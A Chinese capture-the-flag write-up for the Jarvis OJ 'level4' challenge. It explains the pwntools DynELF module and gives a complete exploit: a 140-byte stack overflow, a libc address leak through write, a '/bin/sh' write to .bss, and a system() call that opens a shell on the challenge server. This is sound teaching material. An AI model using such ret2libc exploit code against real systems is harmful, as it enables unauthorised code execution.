Jarvis OJ Level4

写在最前面:

  在漏洞利用的时候,如果没有给出libc库,可以先泄漏两个函数的地址,然后再去查libc的版本号。但是,这种有时候可能失效。现在利用DynELF工具来泄漏system函数的地址,然后再往一个地方写’/bin/sh’字符串并构造调用system函数的栈。下面以Jarvis OJ中的level4这道题为例,使用DynELF实现漏洞利用。

  在写之前先了解一下DynELF这个工具:
DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下。

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

  需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。

使用条件

  不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用。

以下是大致归纳的主要使用条件:

  1. 目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;
  2. 目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

  当然,以上仅仅是实现利用的基本条件,不同的目标程序和运行环境都会有一些坑需要绕过。接下来,我们主要针对write和read这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题,给出相应的解决方法。

--引于安全客

JARVIS OJ上的一道题:

链接https://pan.baidu.com/s/16DR-sNgWGBfOayuLrbCPJw 密码:9f7p

程序运行:


sv1wyAB.png

checksec查看一下保护:


kX7wBH9.png

开了NX栈内代码不可执行保护,且是一个32位程序,ida反汇编看一下溢出点:


DzMREEH.png

可以看到在vulnerable_function()函数中buf存在明显溢出,且显示buf大小为0x88h,我们用gdb动态调试看一下具体的buf到ebp的大小,方法很多,这里用gdb带的pattern:


CZnIL54.png

然后用pattern offest address


S01Xzfc.png


Vct4Rs1.png

0x88+0x4=0x8c=140可见ida显示正确,之后看程序中是否有关键的系统system函数 “/bin/sh”字符:
经过查看没有,本题也没有给出远程的libc库,所以我们可以采用DynELF来泄露,思路就是通过DynELF模块泄露出system,然后将参数/bin/sh写入bss段上去。之后再次进行覆盖得到shell

上面已经给出了DynELF的模板,可以直接改写leak函数:

from pwn import *
io=remote("pwn2.jarvisoj.com",9880)
elf=ELF("./level4")

vuln=0x804844B
writeplt=elf.plt["write"]
readplt=elf.plt["read"]
bss_addr=elf.bss()
#泄露leak system地址
def leak(address):
    payload="a"*0x88+"aaaa"+p32(writeplt)+p32(vuln)+p32(1)+p32(address)+p32(4)
    io.sendline(payload)
    leak_sysaddr=io.recv(4)
    #print "%#x => %s" % (address, (leak_sysaddr or '').encode('hex'))
    return leak_sysaddr

d = DynELF(leak, elf=ELF("./level4"))
sysaddr=d.lookup("system","libc")

print hex(sysaddr)
#通过read函数写/bin/sh到bss段
payload1="a"*0x88+"aaaa"+p32(readplt)+p32(vuln)+p32(1)+p32(bss_addr)+p32(8)
io.sendline(payload1)
io.sendline("/bin/sh")
#pwn  it
payload2="a"*0x88+"aaaa"+p32(sysaddr)+p32(vuln)+p32(bss_addr)
io.sendline(payload2)
io.interactive()

测试:


j8lkluH.png

其他还有相关用ROP写的exp

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值